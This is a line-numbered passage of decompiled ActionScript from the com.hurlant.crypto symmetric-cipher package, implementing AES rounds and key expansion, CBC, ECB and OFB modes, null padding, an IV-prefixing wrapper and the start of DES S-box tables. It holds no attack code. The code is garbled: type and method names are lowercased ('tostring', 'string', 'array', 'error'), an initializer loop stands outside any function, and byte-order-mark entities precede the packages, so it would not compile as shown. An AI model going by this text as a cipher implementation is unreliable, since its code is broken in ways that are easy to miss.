  4224. tmp = new ByteArray();
  4225.  
  4226. state = new ByteArray();
  4227.  
  4228. keyLength = _arg1.length;
  4229.  
  4230. this.key = new ByteArray();
  4231.  
  4232. this.key.writeBytes(_arg1);
  4233.  
  4234. expandKey();
  4235.  
  4236. }
  4237.  
  4238. public function tostring():string{
  4239.  
  4240. return (("aes" + (8 * keyLength)));
  4241.  
  4242. }
  4243.  
  4244. public function decrypt(_arg1:ByteArray, _arg2:uint=0):void{
  4245.  
  4246. var _local3:uint;
  4247.  
  4248. state.position = 0;
  4249.  
  4250. state.writeBytes(_arg1, _arg2, (Nb * 4));
  4251.  
  4252. addRoundKey(key, ((Nr * Nb) * 4));
  4253.  
  4254. invShiftRows();
  4255.  
  4256. _local3 = Nr;
  4257.  
  4258. while (_local3--) {
  4259.  
  4260. addRoundKey(key, ((_local3 * Nb) * 4));
  4261.  
  4262. if (_local3){
  4263.  
  4264. invMixSubColumns();
  4265.  
  4266. };
  4267.  
  4268. };
  4269.  
  4270. _arg1.position = _arg2;
  4271.  
  4272. _arg1.writeBytes(state);
  4273.  
  4274. }
  4275.  
  4276. protected function invShiftRows():void{
  4277.  
  4278. var _local1:uint;
  4279.  
  4280. state[0] = InvSbox[state[0]];
  4281.  
  4282. state[4] = InvSbox[state[4]];
  4283.  
  4284. state[8] = InvSbox[state[8]];
  4285.  
  4286. state[12] = InvSbox[state[12]];
  4287.  
  4288. _local1 = InvSbox[state[13]];
  4289.  
  4290. state[13] = InvSbox[state[9]];
  4291.  
  4292. state[9] = InvSbox[state[5]];
  4293.  
  4294. state[5] = InvSbox[state[1]];
  4295.  
  4296. state[1] = _local1;
  4297.  
  4298. _local1 = InvSbox[state[2]];
  4299.  
  4300. state[2] = InvSbox[state[10]];
  4301.  
  4302. state[10] = _local1;
  4303.  
  4304. _local1 = InvSbox[state[6]];
  4305.  
  4306. state[6] = InvSbox[state[14]];
  4307.  
  4308. state[14] = _local1;
  4309.  
  4310. _local1 = InvSbox[state[3]];
  4311.  
  4312. state[3] = InvSbox[state[7]];
  4313.  
  4314. state[7] = InvSbox[state[11]];
  4315.  
  4316. state[11] = InvSbox[state[15]];
  4317.  
  4318. state[15] = _local1;
  4319.  
  4320. }
  4321.  
  4322. public function dispose():void{
  4323.  
  4324. var _local1:uint;
  4325.  
  4326. var _local2:random;
  4327.  
  4328. _local2 = new random();
  4329.  
  4330. _local1 = 0;
  4331.  
  4332. while (_local1 < key.length) {
  4333.  
  4334. key[_local1] = _local2.nextByte();
  4335.  
  4336. _local1++;
  4337.  
  4338. };
  4339.  
  4340. Nr = _local2.nextByte();
  4341.  
  4342. _local1 = 0;
  4343.  
  4344. while (_local1 < state.length) {
  4345.  
  4346. state[_local1] = _local2.nextByte();
  4347.  
  4348. _local1++;
  4349.  
  4350. };
  4351.  
  4352. _local1 = 0;
  4353.  
  4354. while (_local1 < tmp.length) {
  4355.  
  4356. tmp[_local1] = _local2.nextByte();
  4357.  
  4358. _local1++;
  4359.  
  4360. };
  4361.  
  4362. key.length = 0;
  4363.  
  4364. keyLength = 0;
  4365.  
  4366. state.length = 0;
  4367.  
  4368. tmp.length = 0;
  4369.  
  4370. key = null;
  4371.  
  4372. state = null;
  4373.  
  4374. tmp = null;
  4375.  
  4376. Nr = 0;
  4377.  
  4378. Memory.gc();
  4379.  
  4380. }
  4381.  
  4382. protected function invMixSubColumns():void{
  4383.  
  4384. var _local1:uint;
  4385.  
  4386. tmp.length = 0;
  4387.  
  4388. tmp[0] = (((XtimeE[state[0]] ^ XtimeB[state[1]]) ^ XtimeD[state[2]]) ^ Xtime9[state[3]]);
  4389.  
  4390. tmp[5] = (((Xtime9[state[0]] ^ XtimeE[state[1]]) ^ XtimeB[state[2]]) ^ XtimeD[state[3]]);
  4391.  
  4392. tmp[10] = (((XtimeD[state[0]] ^ Xtime9[state[1]]) ^ XtimeE[state[2]]) ^ XtimeB[state[3]]);
  4393.  
  4394. tmp[15] = (((XtimeB[state[0]] ^ XtimeD[state[1]]) ^ Xtime9[state[2]]) ^ XtimeE[state[3]]);
  4395.  
  4396. tmp[4] = (((XtimeE[state[4]] ^ XtimeB[state[5]]) ^ XtimeD[state[6]]) ^ Xtime9[state[7]]);
  4397.  
  4398. tmp[9] = (((Xtime9[state[4]] ^ XtimeE[state[5]]) ^ XtimeB[state[6]]) ^ XtimeD[state[7]]);
  4399.  
  4400. tmp[14] = (((XtimeD[state[4]] ^ Xtime9[state[5]]) ^ XtimeE[state[6]]) ^ XtimeB[state[7]]);
  4401.  
  4402. tmp[3] = (((XtimeB[state[4]] ^ XtimeD[state[5]]) ^ Xtime9[state[6]]) ^ XtimeE[state[7]]);
  4403.  
  4404. tmp[8] = (((XtimeE[state[8]] ^ XtimeB[state[9]]) ^ XtimeD[state[10]]) ^ Xtime9[state[11]]);
  4405.  
  4406. tmp[13] = (((Xtime9[state[8]] ^ XtimeE[state[9]]) ^ XtimeB[state[10]]) ^ XtimeD[state[11]]);
  4407.  
  4408. tmp[2] = (((XtimeD[state[8]] ^ Xtime9[state[9]]) ^ XtimeE[state[10]]) ^ XtimeB[state[11]]);
  4409.  
  4410. tmp[7] = (((XtimeB[state[8]] ^ XtimeD[state[9]]) ^ Xtime9[state[10]]) ^ XtimeE[state[11]]);
  4411.  
  4412. tmp[12] = (((XtimeE[state[12]] ^ XtimeB[state[13]]) ^ XtimeD[state[14]]) ^ Xtime9[state[15]]);
  4413.  
  4414. tmp[1] = (((Xtime9[state[12]] ^ XtimeE[state[13]]) ^ XtimeB[state[14]]) ^ XtimeD[state[15]]);
  4415.  
  4416. tmp[6] = (((XtimeD[state[12]] ^ Xtime9[state[13]]) ^ XtimeE[state[14]]) ^ XtimeB[state[15]]);
  4417.  
  4418. tmp[11] = (((XtimeB[state[12]] ^ XtimeD[state[13]]) ^ Xtime9[state[14]]) ^ XtimeE[state[15]]);
  4419.  
  4420. _local1 = 0;
  4421.  
  4422. while (_local1 < (4 * Nb)) {
  4423.  
  4424. state[_local1] = InvSbox[tmp[_local1]];
  4425.  
  4426. _local1++;
  4427.  
  4428. };
  4429.  
  4430. }
  4431.  
  4432. private function expandKey():void{
  4433.  
  4434. var _local1:uint;
  4435.  
  4436. var _local2:uint;
  4437.  
  4438. var _local3:uint;
  4439.  
  4440. var _local4:uint;
  4441.  
  4442. var _local5:uint;
  4443.  
  4444. var _local6:uint;
  4445.  
  4446. var _local7:uint;
  4447.  
  4448. _local7 = (key.length / 4);
  4449.  
  4450. Nr = (_local7 + 6);
  4451.  
  4452. _local6 = _local7;
  4453.  
  4454. while (_local6 < (Nb * (Nr + 1))) {
  4455.  
  4456. _local1 = key[((4 * _local6) - 4)];
  4457.  
  4458. _local2 = key[((4 * _local6) - 3)];
  4459.  
  4460. _local3 = key[((4 * _local6) - 2)];
  4461.  
  4462. _local4 = key[((4 * _local6) - 1)];
  4463.  
  4464. if (!(_local6 % _local7)){
  4465.  
  4466. _local5 = _local4;
  4467.  
  4468. _local4 = Sbox[_local1];
  4469.  
  4470. _local1 = (Sbox[_local2] ^ Rcon[(_local6 / _local7)]);
  4471.  
  4472. _local2 = Sbox[_local3];
  4473.  
  4474. _local3 = Sbox[_local5];
  4475.  
  4476. } else {
  4477.  
  4478. if ((((_local7 > 6)) && (((_local6 % _local7) == 4)))){
  4479.  
  4480. _local1 = Sbox[_local1];
  4481.  
  4482. _local2 = Sbox[_local2];
  4483.  
  4484. _local3 = Sbox[_local3];
  4485.  
  4486. _local4 = Sbox[_local4];
  4487.  
  4488. };
  4489.  
  4490. };
  4491.  
  4492. key[((4 * _local6) + 0)] = (key[(((4 * _local6) - (4 * _local7)) + 0)] ^ _local1);
  4493.  
  4494. key[((4 * _local6) + 1)] = (key[(((4 * _local6) - (4 * _local7)) + 1)] ^ _local2);
  4495.  
  4496. key[((4 * _local6) + 2)] = (key[(((4 * _local6) - (4 * _local7)) + 2)] ^ _local3);
  4497.  
  4498. key[((4 * _local6) + 3)] = (key[(((4 * _local6) - (4 * _local7)) + 3)] ^ _local4);
  4499.  
  4500. _local6++;
  4501.  
  4502. };
  4503.  
  4504. }
  4505.  
  4506. protected function addRoundKey(_arg1:ByteArray, _arg2:uint):void{
  4507.  
  4508. var _local3:uint;
  4509.  
  4510. _local3 = 0;
  4511.  
  4512. while (_local3 < 16) {
  4513.  
  4514. state[_local3] = (state[_local3] ^ _arg1[(_local3 + _arg2)]);
  4515.  
  4516. _local3++;
  4517.  
  4518. };
  4519.  
  4520. }
  4521.  
  4522. public function encrypt(_arg1:ByteArray, _arg2:uint=0):void{
  4523.  
  4524. var _local3:uint;
  4525.  
  4526. state.position = 0;
  4527.  
  4528. state.writeBytes(_arg1, _arg2, (Nb * 4));
  4529.  
  4530. addRoundKey(key, 0);
  4531.  
  4532. _local3 = 1;
  4533.  
  4534. while (_local3 < (Nr + 1)) {
  4535.  
  4536. if (_local3 < Nr){
  4537.  
  4538. mixSubColumns();
  4539.  
  4540. } else {
  4541.  
  4542. shiftRows();
  4543.  
  4544. };
  4545.  
  4546. addRoundKey(key, ((_local3 * Nb) * 4));
  4547.  
  4548. _local3++;
  4549.  
  4550. };
  4551.  
  4552. _arg1.position = _arg2;
  4553.  
  4554. _arg1.writeBytes(state);
  4555.  
  4556. }
  4557.  
  4558. protected function mixSubColumns():void{
  4559.  
  4560. tmp.length = 0;
  4561.  
  4562. tmp[0] = (((Xtime2Sbox[state[0]] ^ Xtime3Sbox[state[5]]) ^ Sbox[state[10]]) ^ Sbox[state[15]]);
  4563.  
  4564. tmp[1] = (((Sbox[state[0]] ^ Xtime2Sbox[state[5]]) ^ Xtime3Sbox[state[10]]) ^ Sbox[state[15]]);
  4565.  
  4566. tmp[2] = (((Sbox[state[0]] ^ Sbox[state[5]]) ^ Xtime2Sbox[state[10]]) ^ Xtime3Sbox[state[15]]);
  4567.  
  4568. tmp[3] = (((Xtime3Sbox[state[0]] ^ Sbox[state[5]]) ^ Sbox[state[10]]) ^ Xtime2Sbox[state[15]]);
  4569.  
  4570. tmp[4] = (((Xtime2Sbox[state[4]] ^ Xtime3Sbox[state[9]]) ^ Sbox[state[14]]) ^ Sbox[state[3]]);
  4571.  
  4572. tmp[5] = (((Sbox[state[4]] ^ Xtime2Sbox[state[9]]) ^ Xtime3Sbox[state[14]]) ^ Sbox[state[3]]);
  4573.  
  4574. tmp[6] = (((Sbox[state[4]] ^ Sbox[state[9]]) ^ Xtime2Sbox[state[14]]) ^ Xtime3Sbox[state[3]]);
  4575.  
  4576. tmp[7] = (((Xtime3Sbox[state[4]] ^ Sbox[state[9]]) ^ Sbox[state[14]]) ^ Xtime2Sbox[state[3]]);
  4577.  
  4578. tmp[8] = (((Xtime2Sbox[state[8]] ^ Xtime3Sbox[state[13]]) ^ Sbox[state[2]]) ^ Sbox[state[7]]);
  4579.  
  4580. tmp[9] = (((Sbox[state[8]] ^ Xtime2Sbox[state[13]]) ^ Xtime3Sbox[state[2]]) ^ Sbox[state[7]]);
  4581.  
  4582. tmp[10] = (((Sbox[state[8]] ^ Sbox[state[13]]) ^ Xtime2Sbox[state[2]]) ^ Xtime3Sbox[state[7]]);
  4583.  
  4584. tmp[11] = (((Xtime3Sbox[state[8]] ^ Sbox[state[13]]) ^ Sbox[state[2]]) ^ Xtime2Sbox[state[7]]);
  4585.  
  4586. tmp[12] = (((Xtime2Sbox[state[12]] ^ Xtime3Sbox[state[1]]) ^ Sbox[state[6]]) ^ Sbox[state[11]]);
  4587.  
  4588. tmp[13] = (((Sbox[state[12]] ^ Xtime2Sbox[state[1]]) ^ Xtime3Sbox[state[6]]) ^ Sbox[state[11]]);
  4589.  
  4590. tmp[14] = (((Sbox[state[12]] ^ Sbox[state[1]]) ^ Xtime2Sbox[state[6]]) ^ Xtime3Sbox[state[11]]);
  4591.  
  4592. tmp[15] = (((Xtime3Sbox[state[12]] ^ Sbox[state[1]]) ^ Sbox[state[6]]) ^ Xtime2Sbox[state[11]]);
  4593.  
  4594. state.position = 0;
  4595.  
  4596. state.writeBytes(tmp, 0, (Nb * 4));
  4597.  
  4598. }
  4599.  
  4600. protected function shiftRows():void{
  4601.  
  4602. var _local1:uint;
  4603.  
  4604. state[0] = Sbox[state[0]];
  4605.  
  4606. state[4] = Sbox[state[4]];
  4607.  
  4608. state[8] = Sbox[state[8]];
  4609.  
  4610. state[12] = Sbox[state[12]];
  4611.  
  4612. _local1 = Sbox[state[1]];
  4613.  
  4614. state[1] = Sbox[state[5]];
  4615.  
  4616. state[5] = Sbox[state[9]];
  4617.  
  4618. state[9] = Sbox[state[13]];
  4619.  
  4620. state[13] = _local1;
  4621.  
  4622. _local1 = Sbox[state[2]];
  4623.  
  4624. state[2] = Sbox[state[10]];
  4625.  
  4626. state[10] = _local1;
  4627.  
  4628. _local1 = Sbox[state[6]];
  4629.  
  4630. state[6] = Sbox[state[14]];
  4631.  
  4632. state[14] = _local1;
  4633.  
  4634. _local1 = Sbox[state[15]];
  4635.  
  4636. state[15] = Sbox[state[11]];
  4637.  
  4638. state[11] = Sbox[state[7]];
  4639.  
  4640. state[7] = Sbox[state[3]];
  4641.  
  4642. state[3] = _local1;
  4643.  
  4644. }
  4645.  
  4646. public function getBlockSize():uint{
  4647.  
  4648. return (16);
  4649.  
  4650. }
  4651.  
  4652.  
  4653.  
  4654. while (i < 0x0100) {
  4655.  
  4656. Sbox[i] = _Sbox[i];
  4657.  
  4658. InvSbox[i] = _InvSbox[i];
  4659.  
  4660. Xtime2Sbox[i] = _Xtime2Sbox[i];
  4661.  
  4662. Xtime3Sbox[i] = _Xtime3Sbox[i];
  4663.  
  4664. Xtime2[i] = _Xtime2[i];
  4665.  
  4666. Xtime9[i] = _Xtime9[i];
  4667.  
  4668. XtimeB[i] = _XtimeB[i];
  4669.  
  4670. XtimeD[i] = _XtimeD[i];
  4671.  
  4672. XtimeE[i] = _XtimeE[i];
  4673.  
  4674. i++;
  4675.  
  4676. };
  4677.  
  4678. i = 0;
  4679.  
  4680. while (i < _Rcon.length) {
  4681.  
  4682. Rcon[i] = _Rcon[i];
  4683.  
  4684. i++;
  4685.  
  4686. };
  4687.  
  4688. }
  4689.  
  4690. }//package com.hurlant.crypto.symmetric
  4691.  
  4692. &#65279;package com.hurlant.crypto.symmetric {
  4693.  
  4694. import flash.utils.*;
  4695.  
  4696.  
  4697.  
  4698. public class NullPad implements IPad {
  4699.  
  4700.  
  4701.  
  4702. public function pad(_arg1:ByteArray):void{
  4703.  
  4704. }
  4705.  
  4706. public function unpad(_arg1:ByteArray):void{
  4707.  
  4708. }
  4709.  
  4710. public function setBlockSize(_arg1:uint):void{
  4711.  
  4712. }
  4713.  
  4714.  
  4715.  
  4716. }
  4717.  
  4718. }//package com.hurlant.crypto.symmetric
  4719.  
  4720. &#65279;package com.hurlant.crypto.symmetric {
  4721.  
  4722. import flash.utils.*;
  4723.  
  4724.  
  4725.  
  4726. public class CBCMode extends IVMode implements IMode {
  4727.  
  4728.  
  4729.  
  4730. public function CBCMode(_arg1:ISymmetricKey, _arg2:IPad=null){
  4731.  
  4732. super(_arg1, _arg2);
  4733.  
  4734. }
  4735.  
  4736. public function tostring():string{
  4737.  
  4738. return ((key.tostring() + "-cbc"));
  4739.  
  4740. }
  4741.  
  4742. public function decrypt(_arg1:ByteArray):void{
  4743.  
  4744. var _local2:ByteArray;
  4745.  
  4746. var _local3:ByteArray;
  4747.  
  4748. var _local4:uint;
  4749.  
  4750. var _local5:uint;
  4751.  
  4752. _local2 = getIV4d();
  4753.  
  4754. _local3 = new ByteArray();
  4755.  
  4756. _local4 = 0;
  4757.  
  4758. while (_local4 < _arg1.length) {
  4759.  
  4760. _local3.position = 0;
  4761.  
  4762. _local3.writeBytes(_arg1, _local4, blockSize);
  4763.  
  4764. key.decrypt(_arg1, _local4);
  4765.  
  4766. _local5 = 0;
  4767.  
  4768. while (_local5 < blockSize) {
  4769.  
  4770. _arg1[(_local4 + _local5)] = (_arg1[(_local4 + _local5)] ^ _local2[_local5]);
  4771.  
  4772. _local5++;
  4773.  
  4774. };
  4775.  
  4776. _local2.position = 0;
  4777.  
  4778. _local2.writeBytes(_local3, 0, blockSize);
  4779.  
  4780. _local4 = (_local4 + blockSize);
  4781.  
  4782. };
  4783.  
  4784. padding.unpad(_arg1);
  4785.  
  4786. }
  4787.  
  4788. public function encrypt(_arg1:ByteArray):void{
  4789.  
  4790. var _local2:ByteArray;
  4791.  
  4792. var _local3:uint;
  4793.  
  4794. var _local4:uint;
  4795.  
  4796. padding.pad(_arg1);
  4797.  
  4798. _local2 = getIV4e();
  4799.  
  4800. _local3 = 0;
  4801.  
  4802. while (_local3 < _arg1.length) {
  4803.  
  4804. _local4 = 0;
  4805.  
  4806. while (_local4 < blockSize) {
  4807.  
  4808. _arg1[(_local3 + _local4)] = (_arg1[(_local3 + _local4)] ^ _local2[_local4]);
  4809.  
  4810. _local4++;
  4811.  
  4812. };
  4813.  
  4814. key.encrypt(_arg1, _local3);
  4815.  
  4816. _local2.position = 0;
  4817.  
  4818. _local2.writeBytes(_arg1, _local3, blockSize);
  4819.  
  4820. _local3 = (_local3 + blockSize);
  4821.  
  4822. };
  4823.  
  4824. }
  4825.  
  4826.  
  4827.  
  4828. }
  4829.  
  4830. }//package com.hurlant.crypto.symmetric
  4831.  
  4832. &#65279;package com.hurlant.crypto.symmetric {
  4833.  
  4834. import flash.utils.*;
  4835.  
  4836. import com.hurlant.util.*;
  4837.  
  4838.  
  4839.  
  4840. public class ECBMode implements IMode, ICipher {
  4841.  
  4842.  
  4843.  
  4844. private var key:ISymmetricKey;
  4845.  
  4846. private var padding:IPad;
  4847.  
  4848.  
  4849.  
  4850. public function ECBMode(_arg1:ISymmetricKey, _arg2:IPad=null){
  4851.  
  4852. this.key = _arg1;
  4853.  
  4854. if (_arg2 == null){
  4855.  
  4856. _arg2 = new PKCS5(_arg1.getBlockSize());
  4857.  
  4858. } else {
  4859.  
  4860. _arg2.setBlockSize(_arg1.getBlockSize());
  4861.  
  4862. };
  4863.  
  4864. this.padding = _arg2;
  4865.  
  4866. }
  4867.  
  4868. public function encrypt(_arg1:ByteArray):void{
  4869.  
  4870. var _local2:uint;
  4871.  
  4872. var _local3:ByteArray;
  4873.  
  4874. var _local4:ByteArray;
  4875.  
  4876. var _local5:uint;
  4877.  
  4878. padding.pad(_arg1);
  4879.  
  4880. _arg1.position = 0;
  4881.  
  4882. _local2 = key.getBlockSize();
  4883.  
  4884. _local3 = new ByteArray();
  4885.  
  4886. _local4 = new ByteArray();
  4887.  
  4888. _local5 = 0;
  4889.  
  4890. while (_local5 < _arg1.length) {
  4891.  
  4892. _local3.length = 0;
  4893.  
  4894. _arg1.readBytes(_local3, 0, _local2);
  4895.  
  4896. key.encrypt(_local3);
  4897.  
  4898. _local4.writeBytes(_local3);
  4899.  
  4900. _local5 = (_local5 + _local2);
  4901.  
  4902. };
  4903.  
  4904. _arg1.length = 0;
  4905.  
  4906. _arg1.writeBytes(_local4);
  4907.  
  4908. }
  4909.  
  4910. public function decrypt(_arg1:ByteArray):void{
  4911.  
  4912. var _local2:uint;
  4913.  
  4914. var _local3:ByteArray;
  4915.  
  4916. var _local4:ByteArray;
  4917.  
  4918. var _local5:uint;
  4919.  
  4920. _arg1.position = 0;
  4921.  
  4922. _local2 = key.getBlockSize();
  4923.  
  4924. if ((_arg1.length % _local2) != 0){
  4925.  
  4926. throw (new error(("ECB mode cipher length must be a multiple of blocksize " + _local2)));
  4927.  
  4928. };
  4929.  
  4930. _local3 = new ByteArray();
  4931.  
  4932. _local4 = new ByteArray();
  4933.  
  4934. _local5 = 0;
  4935.  
  4936. while (_local5 < _arg1.length) {
  4937.  
  4938. _local3.length = 0;
  4939.  
  4940. _arg1.readBytes(_local3, 0, _local2);
  4941.  
  4942. key.decrypt(_local3);
  4943.  
  4944. _local4.writeBytes(_local3);
  4945.  
  4946. _local5 = (_local5 + _local2);
  4947.  
  4948. };
  4949.  
  4950. padding.unpad(_local4);
  4951.  
  4952. _arg1.length = 0;
  4953.  
  4954. _arg1.writeBytes(_local4);
  4955.  
  4956. }
  4957.  
  4958. public function dispose():void{
  4959.  
  4960. key.dispose();
  4961.  
  4962. key = null;
  4963.  
  4964. padding = null;
  4965.  
  4966. Memory.gc();
  4967.  
  4968. }
  4969.  
  4970. public function getBlockSize():uint{
  4971.  
  4972. return (key.getBlockSize());
  4973.  
  4974. }
  4975.  
  4976. public function tostring():string{
  4977.  
  4978. return ((key.tostring() + "-ecb"));
  4979.  
  4980. }
  4981.  
  4982.  
  4983.  
  4984. }
  4985.  
  4986. }//package com.hurlant.crypto.symmetric
  4987.  
  4988. &#65279;package com.hurlant.crypto.symmetric {
  4989.  
  4990. import flash.utils.*;
  4991.  
  4992.  
  4993.  
  4994. public class OFBMode extends IVMode implements IMode {
  4995.  
  4996.  
  4997.  
  4998. public function OFBMode(_arg1:ISymmetricKey, _arg2:IPad=null){
  4999.  
  5000. super(_arg1, null);
  5001.  
  5002. }
  5003.  
  5004. public function tostring():string{
  5005.  
  5006. return ((key.tostring() + "-ofb"));
  5007.  
  5008. }
  5009.  
  5010. private function core(_arg1:ByteArray, _arg2:ByteArray):void{
  5011.  
  5012. var _local3:uint;
  5013.  
  5014. var _local4:ByteArray;
  5015.  
  5016. var _local5:uint;
  5017.  
  5018. var _local6:uint;
  5019.  
  5020. var _local7:uint;
  5021.  
  5022. _local3 = _arg1.length;
  5023.  
  5024. _local4 = new ByteArray();
  5025.  
  5026. _local5 = 0;
  5027.  
  5028. while (_local5 < _arg1.length) {
  5029.  
  5030. key.encrypt(_arg2);
  5031.  
  5032. _local4.position = 0;
  5033.  
  5034. _local4.writeBytes(_arg2);
  5035.  
  5036. _local6 = (((_local5 + blockSize))<_local3) ? blockSize : (_local3 - _local5);
  5037.  
  5038. _local7 = 0;
  5039.  
  5040. while (_local7 < _local6) {
  5041.  
  5042. _arg1[(_local5 + _local7)] = (_arg1[(_local5 + _local7)] ^ _arg2[_local7]);
  5043.  
  5044. _local7++;
  5045.  
  5046. };
  5047.  
  5048. _arg2.position = 0;
  5049.  
  5050. _arg2.writeBytes(_local4);
  5051.  
  5052. _local5 = (_local5 + blockSize);
  5053.  
  5054. };
  5055.  
  5056. }
  5057.  
  5058. public function decrypt(_arg1:ByteArray):void{
  5059.  
  5060. var _local2:ByteArray;
  5061.  
  5062. _local2 = getIV4d();
  5063.  
  5064. core(_arg1, _local2);
  5065.  
  5066. }
  5067.  
  5068. public function encrypt(_arg1:ByteArray):void{
  5069.  
  5070. var _local2:ByteArray;
  5071.  
  5072. _local2 = getIV4e();
  5073.  
  5074. core(_arg1, _local2);
  5075.  
  5076. }
  5077.  
  5078.  
  5079.  
  5080. }
  5081.  
  5082. }//package com.hurlant.crypto.symmetric
  5083.  
  5084. &#65279;package com.hurlant.crypto.symmetric {
  5085.  
  5086. import flash.utils.*;
  5087.  
  5088. import com.hurlant.util.*;
  5089.  
  5090.  
  5091.  
  5092. public class SimpleIVMode implements IMode, ICipher {
  5093.  
  5094.  
  5095.  
  5096. protected var mode:IVMode;
  5097.  
  5098. protected var cipher:ICipher;
  5099.  
  5100.  
  5101.  
  5102. public function SimpleIVMode(_arg1:IVMode){
  5103.  
  5104. this.mode = _arg1;
  5105.  
  5106. cipher = (_arg1 as ICipher);
  5107.  
  5108. }
  5109.  
  5110. public function encrypt(_arg1:ByteArray):void{
  5111.  
  5112. var _local2:ByteArray;
  5113.  
  5114. cipher.encrypt(_arg1);
  5115.  
  5116. _local2 = new ByteArray();
  5117.  
  5118. _local2.writeBytes(mode.IV);
  5119.  
  5120. _local2.writeBytes(_arg1);
  5121.  
  5122. _arg1.position = 0;
  5123.  
  5124. _arg1.writeBytes(_local2);
  5125.  
  5126. }
  5127.  
  5128. public function decrypt(_arg1:ByteArray):void{
  5129.  
  5130. var _local2:ByteArray;
  5131.  
  5132. _local2 = new ByteArray();
  5133.  
  5134. _local2.writeBytes(_arg1, 0, getBlockSize());
  5135.  
  5136. mode.IV = _local2;
  5137.  
  5138. _local2 = new ByteArray();
  5139.  
  5140. _local2.writeBytes(_arg1, getBlockSize());
  5141.  
  5142. cipher.decrypt(_local2);
  5143.  
  5144. _arg1.length = 0;
  5145.  
  5146. _arg1.writeBytes(_local2);
  5147.  
  5148. }
  5149.  
  5150. public function dispose():void{
  5151.  
  5152. mode.dispose();
  5153.  
  5154. mode = null;
  5155.  
  5156. cipher = null;
  5157.  
  5158. Memory.gc();
  5159.  
  5160. }
  5161.  
  5162. public function tostring():string{
  5163.  
  5164. return (("simple-" + cipher.tostring()));
  5165.  
  5166. }
  5167.  
  5168. public function getBlockSize():uint{
  5169.  
  5170. return (mode.getBlockSize());
  5171.  
  5172. }
  5173.  
  5174.  
  5175.  
  5176. }
  5177.  
  5178. }//package com.hurlant.crypto.symmetric
  5179.  
  5180. &#65279;package com.hurlant.crypto.symmetric {
  5181.  
  5182. import flash.utils.*;
  5183.  
  5184. import com.hurlant.util.*;
  5185.  
  5186.  
  5187.  
  5188. public class DESKey implements ISymmetricKey {
  5189.  
  5190.  
  5191.  
  5192. private static const SP8:array = [0x10001040, 0x1000, 262144, 268701760, 0x10000000, 0x10001040, 64, 0x10000000, 262208, 0x10040000, 268701760, 266240, 0x10041000, 266304, 0x1000, 64, 0x10040000, 0x10000040, 0x10001000, 4160, 266240, 262208, 0x10040040, 0x10041000, 4160, 0, 0, 0x10040040, 0x10000040, 0x10001000, 266304, 262144, 266304, 262144, 0x10041000, 0x1000, 64, 0x10040040, 0x1000, 266304, 0x10001000, 64, 0x10000040, 0x10040000, 0x10040040, 0x10000000, 262144, 0x10001040, 0, 268701760, 262208, 0x10000040, 0x10040000, 0x10001000, 0x10001040, 0, 268701760, 266240, 266240, 4160, 4160, 262208, 0x10000000, 0x10041000];
  5193.  
  5194. private static const bytebit:array = [128, 64, 32, 16, 8, 4, 2, 1];
  5195.  
  5196. private static const bigbyte:array = [0x800000, 0x400000, 0x200000, 0x100000, 524288, 262144, 131072, 65536, 0x8000, 0x4000, 0x2000, 0x1000, 0x0800, 0x0400, 0x0200, 0x0100, 128, 64, 32, 16, 8, 4, 2, 1];
  5197.  
  5198. private static const pc1:array = [56, 48, 40, 32, 24, 16, 8, 0, 57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 60, 52, 44, 36, 28, 20, 12, 4, 27, 19, 11, 3];
  5199.  
  5200. private static const pc2:array = [13, 16, 10, 23, 0, 4, 2, 27, 14, 5, 20, 9, 22, 18, 11, 3, 25, 7, 15, 6, 26, 19, 12, 1, 40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47, 43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31];
  5201.  
  5202. private static const Df_Key:array = [1, 35, 69, 103, 137, 171, 205, 239, 254, 220, 186, 152, 118, 84, 50, 16, 137, 171, 205, 239, 1, 35, 69, 103];
  5203.  
  5204. private static const totrot:array = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28];
  5205.  
  5206. private static const SP1:array = [16843776, 0, 65536, 16843780, 16842756, 66564, 4, 65536, 0x0400, 16843776, 16843780, 0x0400, 16778244, 16842756, 16777216, 4, 0x0404, 16778240, 16778240, 66560, 66560, 16842752, 16842752, 16778244, 65540, 16777220, 16777220, 65540, 0, 0x0404, 66564, 16777216, 65536, 16843780, 4, 16842752, 16843776, 16777216, 16777216, 0x0400, 16842756, 65536, 66560, 16777220, 0x0400, 4, 16778244, 66564, 16843780, 65540, 16842752, 16778244, 16777220, 0x0404, 66564, 16843776, 0x0404, 16778240, 16778240, 0, 65540, 66560, 0, 16842756];
  5207.  
  5208. private static const SP2:array = [2148565024, 0x80008000, 0x8000, 1081376, 0x100000, 32, 0x80100020, 0x80008020, 0x80000020, 2148565024, 0x80108000, 0x80000000, 0x80008000, 0x100000, 32, 0x80100020, 0x108000, 0x100020, 0x80008020, 0, 0x80000000, 0x8000, 1081376, 0x80100000, 0x100020, 0x80000020, 0, 0x108000, 32800, 0x80108000, 0x80100000, 32800, 0, 1081376, 0x80100020, 0x100000, 0x80008020, 0x80100000, 0x80108000, 0x8000, 0x80100000, 0x80008000, 32, 2148565024, 1081376, 32, 0x8000, 0x80000000, 32800, 0x80108000, 0x100000, 0x80000020, 0x100020, 0x80008020, 0x80000020, 0x100020, 0x108000, 0, 0x80008000, 32800, 0x80000000, 0x80100020, 2148565024, 0x108000];
  5209.  
  5210. private static const SP3:array = [520, 134349312, 0, 134348808, 134218240, 0, 131592, 134218240, 131080, 134217736, 134217736, 131072, 134349320, 131080, 134348800, 520, 134217728, 8, 134349312, 0x0200, 131584, 134348800, 134348808, 131592, 134218248, 131584, 131072, 134218248, 8, 134349320, 0x0200, 134217728, 134349312, 134217728, 131080, 520, 131072, 134349312, 134218240, 0, 0x0200, 131080, 134349320, 134218240, 134217736, 0x0200, 0, 134348808, 134218248, 131072, 134217728, 134349320, 8, 131592, 131584, 134217736, 134348800, 134218248, 520, 134348800, 131592, 8, 134348808, 131584];
  5211.  
